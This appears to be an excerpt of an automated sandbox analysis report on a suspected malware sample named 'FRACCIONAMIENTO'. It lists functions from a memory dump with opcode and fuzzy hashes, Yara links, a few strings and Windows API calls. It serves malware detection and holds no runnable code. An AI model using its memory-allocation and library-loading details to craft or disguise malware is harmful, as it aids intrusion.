Instruction ID: 877829d618e5e007f9f9d7c9e80b1e5d351a459a3ff3a1a769d64a5daa731384
Opcode Fuzzy Hash: 20fd2a14bf7f2e98a625ee4c028140db7395dfd5535a63301da143c02add251a
Instruction Fuzzy Hash: 29A1F0726483898FCB78CF28DC857DA77A6FF5A320F49416ACC599F211C3714A81CB91

Uniqueness

Uniqueness Score: -1.00%

Function 033CCB37 Relevance: 1.5, Strings: 1, Instructions: 219COMMON

Download Yara Rule

Strings

), xrefs: 033CD2E9

Memory Dump Source

Source File: 00000001.00000002.16137261344.00000000033CC000.00000040.00001000.00020000.00000000.sdmp, Offset: 033CC000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_33cc000_FRACCIONAMIENTO 1722403906461L.jbxd

Yara matches

Similarity

API ID:
String ID: )
API String ID: 0-2427484129
Opcode ID: 5da1b103c2ae90e0588ee2578c6523238aa6ad34aa6768921495670a61eb6c04
Instruction ID: a6b139ad6d032955c26df0b1253b90a3c5dc18dd8e259703bcf64eb2b96d6b9b
Opcode Fuzzy Hash: 5da1b103c2ae90e0588ee2578c6523238aa6ad34aa6768921495670a61eb6c04
Instruction Fuzzy Hash: 8051DD3197E785C9DA62D43448E13B1668EDF0A250F40473FB93B11DE5A71A0DCB4742

Uniqueness

Uniqueness Score: -1.00%

Function 033D043D Relevance: 1.5, Strings: 1, Instructions: 219COMMON

Download Yara Rule

Strings

#"^H, xrefs: 033D07A8

Memory Dump Source

Source File: 00000001.00000002.16137261344.00000000033CC000.00000040.00001000.00020000.00000000.sdmp, Offset: 033CC000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_33cc000_FRACCIONAMIENTO 1722403906461L.jbxd

Yara matches

Similarity

API ID:
String ID: #"^H
API String ID: 0-4097176634
Opcode ID: 71f3dbe845ee583a61873c25978cf9a587d0da0a5ed1b65a22365ad45a82358b
Instruction ID: f96d88447a185c7a806313f3d5bb31b66226b70d3794c4101d8bf79c51bc8b07
Opcode Fuzzy Hash: 71f3dbe845ee583a61873c25978cf9a587d0da0a5ed1b65a22365ad45a82358b
Instruction Fuzzy Hash: 0D9101726483998FCB39CF689C847DA77A6FF56720F44416ACC999F111C3710A82CB91

Uniqueness

Uniqueness Score: -1.00%

Function 033D081D Relevance: 1.5, Strings: 1, Instructions: 213COMMON

Download Yara Rule

Strings

#"^H, xrefs: 033D07A8

Memory Dump Source

Source File: 00000001.00000002.16137261344.00000000033CC000.00000040.00001000.00020000.00000000.sdmp, Offset: 033CC000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_33cc000_FRACCIONAMIENTO 1722403906461L.jbxd

Yara matches

Similarity

API ID:
String ID: #"^H
API String ID: 0-4097176634
Opcode ID: 57221fe901a91e5905558540e846b4233e126c897c1ec16d54283a10aa3f230b
Instruction ID: b422eb73ca123e75a6b096d0dc9cb8185922d592f8b38f2c3c8051b379eb46c5
Opcode Fuzzy Hash: 57221fe901a91e5905558540e846b4233e126c897c1ec16d54283a10aa3f230b
Instruction Fuzzy Hash: 93912472A483898FCF39CF3898957D97BA6FF16320F49416ADC899F111C3710A86CB91

Uniqueness

Uniqueness Score: -1.00%

Function 033D0723 Relevance: 1.5, Strings: 1, Instructions: 204COMMON

Download Yara Rule

Strings

#"^H, xrefs: 033D07A8

Memory Dump Source

Source File: 00000001.00000002.16137261344.00000000033CC000.00000040.00001000.00020000.00000000.sdmp, Offset: 033CC000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_33cc000_FRACCIONAMIENTO 1722403906461L.jbxd

Yara matches

Similarity

API ID:
String ID: #"^H
API String ID: 0-4097176634
Opcode ID: e2a02e0455112b24b8ed4a2ba550ca3c5d9a5492dea14f9384cf5cdf3b2bae38
Instruction ID: 1eba293e138f3c9dd4cbdd2b88e5688d0960560f6b97e64f14707c74ca891291
Opcode Fuzzy Hash: e2a02e0455112b24b8ed4a2ba550ca3c5d9a5492dea14f9384cf5cdf3b2bae38
Instruction Fuzzy Hash: 248136726483898FCB39CF7488857DA77AAFF1A720F45412ACC999F111C7710B82CB91

Uniqueness

Uniqueness Score: -1.00%

Function 033D061C Relevance: 1.5, Strings: 1, Instructions: 204COMMON

Download Yara Rule

Strings

#"^H, xrefs: 033D07A8

Memory Dump Source

Source File: 00000001.00000002.16137261344.00000000033CC000.00000040.00001000.00020000.00000000.sdmp, Offset: 033CC000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_33cc000_FRACCIONAMIENTO 1722403906461L.jbxd

Yara matches

Similarity

API ID:
String ID: #"^H
API String ID: 0-4097176634
Opcode ID: 74e77dc99eba2e11b77fef5afbfea3b92f0ddcb7b0dfce0a85529bf276561a0c
Instruction ID: 9872fdae5ae6619151e3b61227b8c7cfc919411a644c977a7d934a88f60c165e
Opcode Fuzzy Hash: 74e77dc99eba2e11b77fef5afbfea3b92f0ddcb7b0dfce0a85529bf276561a0c
Instruction Fuzzy Hash: B3812572A883899FCB39CF249C857DA77AAFF16720F45412ACC989F111C3B10B46CB91

Uniqueness

Uniqueness Score: -1.00%

Function 033D0898 Relevance: 1.4, Strings: 1, Instructions: 200COMMON

Download Yara Rule

Strings

#"^H, xrefs: 033D07A8

Memory Dump Source

Source File: 00000001.00000002.16137261344.00000000033CC000.00000040.00001000.00020000.00000000.sdmp, Offset: 033CC000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_33cc000_FRACCIONAMIENTO 1722403906461L.jbxd

Yara matches

Similarity

API ID:
String ID: #"^H
API String ID: 0-4097176634
Opcode ID: 8224d32e958ebb40738c0765c380a1344a08fcb3109d82300c7c22809ad0303b
Instruction ID: 057509120df5a388c31ace8d55048924add1686913577907397a29f210ef39cb
Opcode Fuzzy Hash: 8224d32e958ebb40738c0765c380a1344a08fcb3109d82300c7c22809ad0303b
Instruction Fuzzy Hash: 048115726483898FCB39CF3888857DA77AAFF16720F45416ACC999F111C3710B86CB91

Uniqueness

Uniqueness Score: -1.00%

Function 033D07D2 Relevance: 1.4, Strings: 1, Instructions: 197COMMON

Download Yara Rule

Strings

#"^H, xrefs: 033D07A8

Memory Dump Source

Source File: 00000001.00000002.16137261344.00000000033CC000.00000040.00001000.00020000.00000000.sdmp, Offset: 033CC000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_33cc000_FRACCIONAMIENTO 1722403906461L.jbxd

Yara matches

Similarity

API ID:
String ID: #"^H
API String ID: 0-4097176634
Opcode ID: 7719e55bf9b85f86ada100af852cbd6e3652f3db6c1099c8d83b9d2aa1b407d8
Instruction ID: 6416fac3ad7c36a7f357af50ceb79e4b8ce9c0ae6fe5030f14cae405cec743c5
Opcode Fuzzy Hash: 7719e55bf9b85f86ada100af852cbd6e3652f3db6c1099c8d83b9d2aa1b407d8
Instruction Fuzzy Hash: 67812572A483898FCB39CF7898847DA77AAFF16320F45412ACC599F111C7710A82CB91

Uniqueness

Uniqueness Score: -1.00%

Function 033D059F Relevance: 1.4, Strings: 1, Instructions: 195COMMON

Download Yara Rule

Strings

#"^H, xrefs: 033D07A8

Memory Dump Source

Source File: 00000001.00000002.16137261344.00000000033CC000.00000040.00001000.00020000.00000000.sdmp, Offset: 033CC000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_33cc000_FRACCIONAMIENTO 1722403906461L.jbxd

Yara matches

Similarity

API ID:
String ID: #"^H
API String ID: 0-4097176634
Opcode ID: b6bae2bf190f293783242fc644557cd58f65287d755d8b1bfcce110e8090f880
Instruction ID: 515e00508acf00811b9a6c7e21dbd8e93d0087e3180130fccb6b9c03b8874ae9
Opcode Fuzzy Hash: b6bae2bf190f293783242fc644557cd58f65287d755d8b1bfcce110e8090f880
Instruction Fuzzy Hash: A98104726483898FCB39CF7498857DA77AAFF1A720F49416ACC599F111C7710A82CB91

Uniqueness

Uniqueness Score: -1.00%

Function 033D06AF Relevance: 1.4, Strings: 1, Instructions: 188COMMON

Download Yara Rule

Strings

#"^H, xrefs: 033D07A8

Memory Dump Source

Source File: 00000001.00000002.16137261344.00000000033CC000.00000040.00001000.00020000.00000000.sdmp, Offset: 033CC000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_33cc000_FRACCIONAMIENTO 1722403906461L.jbxd

Yara matches

Similarity

API ID:
String ID: #"^H
API String ID: 0-4097176634
Opcode ID: c06c5ceb9d3a2c08f3f0c0b4c7f31c5502a73022c2f4f05126bfdd0264b369ed
Instruction ID: 19e8a8956a86c585585ceb48ea3bf46aba6d9f399c8e4b4b0f24dfd639db511c
Opcode Fuzzy Hash: c06c5ceb9d3a2c08f3f0c0b4c7f31c5502a73022c2f4f05126bfdd0264b369ed
Instruction Fuzzy Hash: 3D811472A483898FCF39CE788C857DA77AAFF56720F45412ACC599F111C7710A82CB91

Uniqueness

Uniqueness Score: -1.00%

Function 033D04FA Relevance: 1.4, Strings: 1, Instructions: 186COMMON

Download Yara Rule

Strings

#"^H, xrefs: 033D07A8

Memory Dump Source

Source File: 00000001.00000002.16137261344.00000000033CC000.00000040.00001000.00020000.00000000.sdmp, Offset: 033CC000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_33cc000_FRACCIONAMIENTO 1722403906461L.jbxd

Yara matches

Similarity

API ID:
String ID: #"^H
API String ID: 0-4097176634
Opcode ID: 204033e0a1276ec6dbc8be755f5696240b999537ae86683cc89346d216469f2e
Instruction ID: cd6d687e4fcfa6bb768a8a701eb1a38c0b3a8d992030a62f802962bb51ccf2bd
Opcode Fuzzy Hash: 204033e0a1276ec6dbc8be755f5696240b999537ae86683cc89346d216469f2e
Instruction Fuzzy Hash: C3810472A483898FCF79CF3888857DA77AAFF15720F49412ACC599F111C7710A82CB91

Uniqueness

Uniqueness Score: -1.00%

Function 033D4299 Relevance: 1.4, Strings: 1, Instructions: 141COMMON

Download Yara Rule

Strings

, xrefs: 033D4548

Memory Dump Source

Source File: 00000001.00000002.16137261344.00000000033CC000.00000040.00001000.00020000.00000000.sdmp, Offset: 033CC000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_33cc000_FRACCIONAMIENTO 1722403906461L.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID: 0-1912147067
Opcode ID: 27fe73fa25c93d9c087324ad21e7c6972bbc2d73bca29fdfd792c4ebfa2098b0
Instruction ID: 407e121a64936412635bae642de8af625e15fe8a35a38abff87be8ec5e3a0b4e
Opcode Fuzzy Hash: 27fe73fa25c93d9c087324ad21e7c6972bbc2d73bca29fdfd792c4ebfa2098b0
Instruction Fuzzy Hash: 3451EF736053409BCB30CE26EAD17EAB3F2AF99745F58062EC94E4BA00DB316611CA55

Uniqueness

Uniqueness Score: -1.00%

Function 033D4263 Relevance: 1.4, Strings: 1, Instructions: 132COMMON

Download Yara Rule

Strings

, xrefs: 033D4548

Memory Dump Source

Source File: 00000001.00000002.16137261344.00000000033CC000.00000040.00001000.00020000.00000000.sdmp, Offset: 033CC000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_33cc000_FRACCIONAMIENTO 1722403906461L.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID: 0-1912147067
Opcode ID: 62244dbcfaec59b3b91deeb70bc51dfae7de5aadd93e61fb8b79e6e6dff0ad46
Instruction ID: 4376d10585e08d01e4554c5686dccb31a214dbe13cafe44b4b5f0ed27c392f1b
Opcode Fuzzy Hash: 62244dbcfaec59b3b91deeb70bc51dfae7de5aadd93e61fb8b79e6e6dff0ad46
Instruction Fuzzy Hash: D851CF73605384CBCB34CE26DEE17EAB3E2AF98344F49422ECD0F4BA44DB3166418A55

Uniqueness

Uniqueness Score: -1.00%

Function 033D48D3 Relevance: .2, Instructions: 188COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.16137261344.00000000033CC000.00000040.00001000.00020000.00000000.sdmp, Offset: 033CC000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_33cc000_FRACCIONAMIENTO 1722403906461L.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 25f69f41ea89240e3bce5cf30f926ee352b52eb102d5c52bb776aa0e8df6db8a
Instruction ID: 24bd110e0f2d234dc61841a3763d0dca112b443cc0eb739304af50f4856cfec2
Opcode Fuzzy Hash: 25f69f41ea89240e3bce5cf30f926ee352b52eb102d5c52bb776aa0e8df6db8a
Instruction Fuzzy Hash: DB5174B344A6C59FC3078B319C596CAFFB1EF87210B29069ED5854F5A2CB360207CB41

Uniqueness

Uniqueness Score: -1.00%

Function 033D1D44 Relevance: .1, Instructions: 111COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.16137261344.00000000033CC000.00000040.00001000.00020000.00000000.sdmp, Offset: 033CC000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_33cc000_FRACCIONAMIENTO 1722403906461L.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 523f3e587fb3d481c0497de9d571a476f71a9099e5e86b3ac03080309ec73a02
Instruction ID: 1826498d38abd17fcb54950229fe8676127053b3a4ac3b1c13c65fb4dc850b9b
Opcode Fuzzy Hash: 523f3e587fb3d481c0497de9d571a476f71a9099e5e86b3ac03080309ec73a02
Instruction Fuzzy Hash: C331BD73A45781EBD762CFB1AD846DAF7AAEF86711F6A080DD8848B125C3324653C341

Uniqueness

Uniqueness Score: -1.00%

Function 033D3F47 Relevance: .1, Instructions: 107COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.16137261344.00000000033CC000.00000040.00001000.00020000.00000000.sdmp, Offset: 033CC000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_33cc000_FRACCIONAMIENTO 1722403906461L.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c02fa14cb5c1a96db7a16c13b61e817587234429b224d18b0d2389c58c1a56de
Instruction ID: 740de9c0fa99b6b88d97b4338af30731d69166c6e001f94d9d79997f0811f820
Opcode Fuzzy Hash: c02fa14cb5c1a96db7a16c13b61e817587234429b224d18b0d2389c58c1a56de
Instruction Fuzzy Hash: 023188A754A780ABC3028F38A9547C9F7B8EF53230B194B5DD8C19F9B2C7768905C742

Uniqueness

Uniqueness Score: -1.00%

Function 033D1010 Relevance: .1, Instructions: 107COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.16137261344.00000000033CC000.00000040.00001000.00020000.00000000.sdmp, Offset: 033CC000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_33cc000_FRACCIONAMIENTO 1722403906461L.jbxd

Yara matches

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: d6a785ce70a2115dc97e0c2d45ba54ef9357d7384b4ecc9a166df38709f4ec6a
Instruction ID: 5c6c1884cf997591dc8acfcdf6f3bf5c58a484735e66742f2c10a0902c311b74
Opcode Fuzzy Hash: d6a785ce70a2115dc97e0c2d45ba54ef9357d7384b4ecc9a166df38709f4ec6a
Instruction Fuzzy Hash: 0741C177A052889BDB70EF69DDC5BDE37A6BF48340F954019DD4C9B204C7309A81CB02

Uniqueness

Uniqueness Score: -1.00%

Function 033D3E0A Relevance: .1, Instructions: 105COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.16137261344.00000000033CC000.00000040.00001000.00020000.00000000.sdmp, Offset: 033CC000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_33cc000_FRACCIONAMIENTO 1722403906461L.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6cbc0ee6e8f11cbbea21dc88f402c677c3cd5b555442219eb4492ecb99a2fc43
Instruction ID: 60bdaf126aa787050a7bd7d9b64754d496f00bcde61a4f11e125e92ac4ee1755
Opcode Fuzzy Hash: 6cbc0ee6e8f11cbbea21dc88f402c677c3cd5b555442219eb4492ecb99a2fc43
Instruction Fuzzy Hash: 51413FB2A08348DFCB288F38CE847EA77A5EF54360F058269CC4ADB764D3709E008B51

Uniqueness

Uniqueness Score: -1.00%

Function 033D3DE4 Relevance: .1, Instructions: 105COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.16137261344.00000000033CC000.00000040.00001000.00020000.00000000.sdmp, Offset: 033CC000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_33cc000_FRACCIONAMIENTO 1722403906461L.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8a724e600044c87bf00a3f3511f2f262118af5de02b905f643cf78fbd19bcc1e
Instruction ID: 27d19864821d31427453f6f2e5e7b6eeeea5ed8f89df23a3c5f040d18106b7a7
Opcode Fuzzy Hash: 8a724e600044c87bf00a3f3511f2f262118af5de02b905f643cf78fbd19bcc1e
Instruction Fuzzy Hash: 524110B6A08348DFCB648F39CA847EA77A5EF54360F058269CC4ADB764D3709E008B52

Uniqueness

Uniqueness Score: -1.00%

Function 033D4081 Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.16137261344.00000000033CC000.00000040.00001000.00020000.00000000.sdmp, Offset: 033CC000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_33cc000_FRACCIONAMIENTO 1722403906461L.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fb97efae1a8f40e295731499c6357c2c0bc8d8be2c5e329698ba68b9ac5fe74f
Instruction ID: d7707ee7582a0590598258cf0d55a264e20899d2c70325e9f20f4766344ad98e
Opcode Fuzzy Hash: fb97efae1a8f40e295731499c6357c2c0bc8d8be2c5e329698ba68b9ac5fe74f
Instruction Fuzzy Hash: 97310272246350DBCB1ACF36A5D42CAF779FF56320B18C049CC8A5F525CB3A8901CB61

Uniqueness

Uniqueness Score: -1.00%

Function 033D3FA0 Relevance: .1, Instructions: 94COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.16137261344.00000000033CC000.00000040.00001000.00020000.00000000.sdmp, Offset: 033CC000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_33cc000_FRACCIONAMIENTO 1722403906461L.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b760ae3b05d36eefab4da466d8c2c5b9d8a48e217f6a48074af3751f76318828
Instruction ID: e1edc646d8fdeb6748a503400f2c800b4d5a29244185b287564a8c6ff1680791
Opcode Fuzzy Hash: b760ae3b05d36eefab4da466d8c2c5b9d8a48e217f6a48074af3751f76318828
Instruction Fuzzy Hash: 3A41CCB6604348CFCB28CF2AE9C4796B7B6EF55360F09C199CC0A9F629D7349941CB61

Uniqueness

Uniqueness Score: -1.00%

Function 033D3E6A Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.16137261344.00000000033CC000.00000040.00001000.00020000.00000000.sdmp, Offset: 033CC000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_33cc000_FRACCIONAMIENTO 1722403906461L.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e51379ee7c733f01c71339a704f7bdc01ad07e32158fb928437e1cb317e254c9
Instruction ID: 28bb2e62de466f862b079ac822117f7229e4c9cd35d646faa00ef8f05dca4e56
Opcode Fuzzy Hash: e51379ee7c733f01c71339a704f7bdc01ad07e32158fb928437e1cb317e254c9
Instruction Fuzzy Hash: 1B3120B2A05348DFC7258F39CD847D9B7A5EF55360F068229DC89DB724D3709E018B51

Uniqueness

Uniqueness Score: -1.00%

Function 033D1CE6 Relevance: .1, Instructions: 87libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,378EE564,?,033CDA3E), ref: 033D8EAD

Memory Dump Source

Source File: 00000001.00000002.16137261344.00000000033CC000.00000040.00001000.00020000.00000000.sdmp, Offset: 033CC000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_33cc000_FRACCIONAMIENTO 1722403906461L.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 12bb7ae1e00736315a1c1eefa308cefbcf7f3ad86d42d242dee299fd265c6906
Instruction ID: d61d307d6068b1b466e59ad804b2091f08fe4f69aa29423c239ff1598b025bb2
Opcode Fuzzy Hash: 12bb7ae1e00736315a1c1eefa308cefbcf7f3ad86d42d242dee299fd265c6906
Instruction Fuzzy Hash: 6631AC76A04345DFDB70DE729DC06DEB7ABBF58710F96451ED889DB128C33089829702

Uniqueness

Uniqueness Score: -1.00%

Function 033D3EFF Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.16137261344.00000000033CC000.00000040.00001000.00020000.00000000.sdmp, Offset: 033CC000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_33cc000_FRACCIONAMIENTO 1722403906461L.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 94837539fef6c683d774eb285a28c8ef146fce97d855e843ba8d6b4ed827e66f
Instruction ID: 3487cda78f9ed7e078366c7559196cf0d00a2f9affb33e955cd4bcf9e2bfb315
Opcode Fuzzy Hash: 94837539fef6c683d774eb285a28c8ef146fce97d855e843ba8d6b4ed827e66f
Instruction Fuzzy Hash: FB3130B2A053449FC7258F38D9847EAB7B8EF56360F05462DDC899B761D3708E00CB51

Uniqueness

Uniqueness Score: -1.00%

Function 033D3FB4 Relevance: .1, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.16137261344.00000000033CC000.00000040.00001000.00020000.00000000.sdmp, Offset: 033CC000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_33cc000_FRACCIONAMIENTO 1722403906461L.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2d4ffcaf2c025f1f34a1b587896606d9065821567c2385139910d4320de60324
Instruction ID: 3268a3773f74601240d6c9acdef901f51e36a4a1f0c976e932fc94eef863cdc0
Opcode Fuzzy Hash: 2d4ffcaf2c025f1f34a1b587896606d9065821567c2385139910d4320de60324
Instruction Fuzzy Hash: 0331AB76504348CBCB28CF2AE9C439ABBA6AF95310F18C059CC4A9F659C7349941CF61

Uniqueness

Uniqueness Score: -1.00%

Function 033D4012 Relevance: .1, Instructions: 73COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.16137261344.00000000033CC000.00000040.00001000.00020000.00000000.sdmp, Offset: 033CC000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_33cc000_FRACCIONAMIENTO 1722403906461L.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b698c4dc3b3982886bcb7f18a00770405eb17a28def5edf94a4356e208b6b64
Instruction ID: 64325ee1daa74627519ae6167e737a7c0e367b4d0a014e20a041a66b9a2846a1
Opcode Fuzzy Hash: 5b698c4dc3b3982886bcb7f18a00770405eb17a28def5edf94a4356e208b6b64
Instruction Fuzzy Hash: B8318B72205344CFCB69CF3AE5D4296BBA6FF99310B18C099CC4A9F619C7359941CF61

Uniqueness

Uniqueness Score: -1.00%

Function 033D9260 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.16137261344.00000000033CC000.00000040.00001000.00020000.00000000.sdmp, Offset: 033CC000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_33cc000_FRACCIONAMIENTO 1722403906461L.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf040b85a9a28127b0d7906d6dda29bf96a6ead3f6e0afda82c9027e37d3cfb7
Instruction ID: 96afde5d47926a73bb6e4a92dc94e49891854b3f3364d980e7bf9b635408ab6d
Opcode Fuzzy Hash: cf040b85a9a28127b0d7906d6dda29bf96a6ead3f6e0afda82c9027e37d3cfb7
Instruction Fuzzy Hash: 5B11D03AA0839A9FDB60DE68D8C07E677E1BF5E300F49406DDD89CBA46E3709842C705

Uniqueness

Uniqueness Score: -1.00%

Function 033D93AE Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.16137261344.00000000033CC000.00000040.00001000.00020000.00000000.sdmp, Offset: 033CC000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_33cc000_FRACCIONAMIENTO 1722403906461L.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c27eb8f8e40ac722bf5137dbe8bd5a1d1fa2ea170410a0504350ed5eaefd896
Instruction ID: 18c61cfe68437a60b93155a1badf63f29222299d900792a46cab932a1f5b2eee
Opcode Fuzzy Hash: 7c27eb8f8e40ac722bf5137dbe8bd5a1d1fa2ea170410a0504350ed5eaefd896
Instruction Fuzzy Hash: 041153766056A48FCB34DE18D9C4BCAB3B1AF58760F0681A9EC089BA25D330ED81CB50

Uniqueness

Uniqueness Score: -1.00%

Function 033D660E Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.16137261344.00000000033CC000.00000040.00001000.00020000.00000000.sdmp, Offset: 033CC000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_33cc000_FRACCIONAMIENTO 1722403906461L.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ccd39b9dc82dfa46757cf022c28b30d1dc9321301c5a8d60cd03c9f9230a9cb1
Instruction ID: b4df19127d0e5d6de2bca8a5f1080f01f5e1f15964cf58d0f1cd1c57ff5b0285
Opcode Fuzzy Hash: ccd39b9dc82dfa46757cf022c28b30d1dc9321301c5a8d60cd03c9f9230a9cb1
Instruction Fuzzy Hash: 01D02BE63412028BD013CA7860C0D417F34F79601CF148CC8E170C7C92D225E5078180

Uniqueness

Uniqueness Score: -1.00%

Function 033D8DDC Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.16137261344.00000000033CC000.00000040.00001000.00020000.00000000.sdmp, Offset: 033CC000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_33cc000_FRACCIONAMIENTO 1722403906461L.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab2d7faec90206d04624137dcf391b9a6c0b9a6dad95826754e4c5e29fff86cb
Instruction ID: bebcbd0f18a999ce64e2d619b59837d29f74db5f3d96bd371bc818b82041d4c7
Opcode Fuzzy Hash: ab2d7faec90206d04624137dcf391b9a6c0b9a6dad95826754e4c5e29fff86cb
Instruction Fuzzy Hash: F9B00179662A80CFCE96CF09C290E40B3B4FB48B50F4258D0E8118BB22C268E900CA10

Uniqueness

Uniqueness Score: -1.00%

Function 00405031 Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 489windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F9), ref: 00405049
GetDlgItem.USER32(?,00000408), ref: 00405054
GlobalAlloc.KERNEL32(00000040,?), ref: 0040509E
LoadImageW.USER32(0000006E,00000000,00000000,00000000,00000000), ref: 004050B5
SetWindowLongW.USER32(?,000000FC,0040563E), ref: 004050CE
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 004050E2
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 004050F4
SendMessageW.USER32(?,00001109,00000002), ref: 0040510A
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00405116
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00405128
DeleteObject.GDI32(00000000), ref: 0040512B
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00405156
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00405162
SendMessageW.USER32(?,00001132,00000000,?), ref: 004051FD
SendMessageW.USER32(?,0000110A,00000003,00000110), ref: 0040522D

Part of subcall function 004045F9: SendMessageW.USER32(00000028,?,00000001,00404424), ref: 00404607

SendMessageW.USER32(?,00001132,00000000,?), ref: 00405241
GetWindowLongW.USER32(?,000000F0), ref: 0040526F
SetWindowLongW.USER32(?,000000F0,00000000), ref: 0040527D
ShowWindow.USER32(?,00000005), ref: 0040528D
SendMessageW.USER32(?,00000419,00000000,?), ref: 00405388
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 004053ED
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00405402
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 00405426
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 00405446
ImageList_Destroy.COMCTL32(?), ref: 0040545B
GlobalFree.KERNEL32(?), ref: 0040546B
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 004054E4
SendMessageW.USER32(?,00001102,?,?), ref: 0040558D
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 0040559C
InvalidateRect.USER32(?,00000000,00000001), ref: 004055C7
ShowWindow.USER32(?,00000000), ref: 00405615
GetDlgItem.USER32(?,000003FE), ref: 00405620
ShowWindow.USER32(00000000), ref: 00405627

Strings

M, xrefs: 004051E5
, xrefs: 004055FF
N, xrefs: 004052C6

Memory Dump Source

Source File: 00000001.00000002.16134259597.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.16134207017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134364460.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
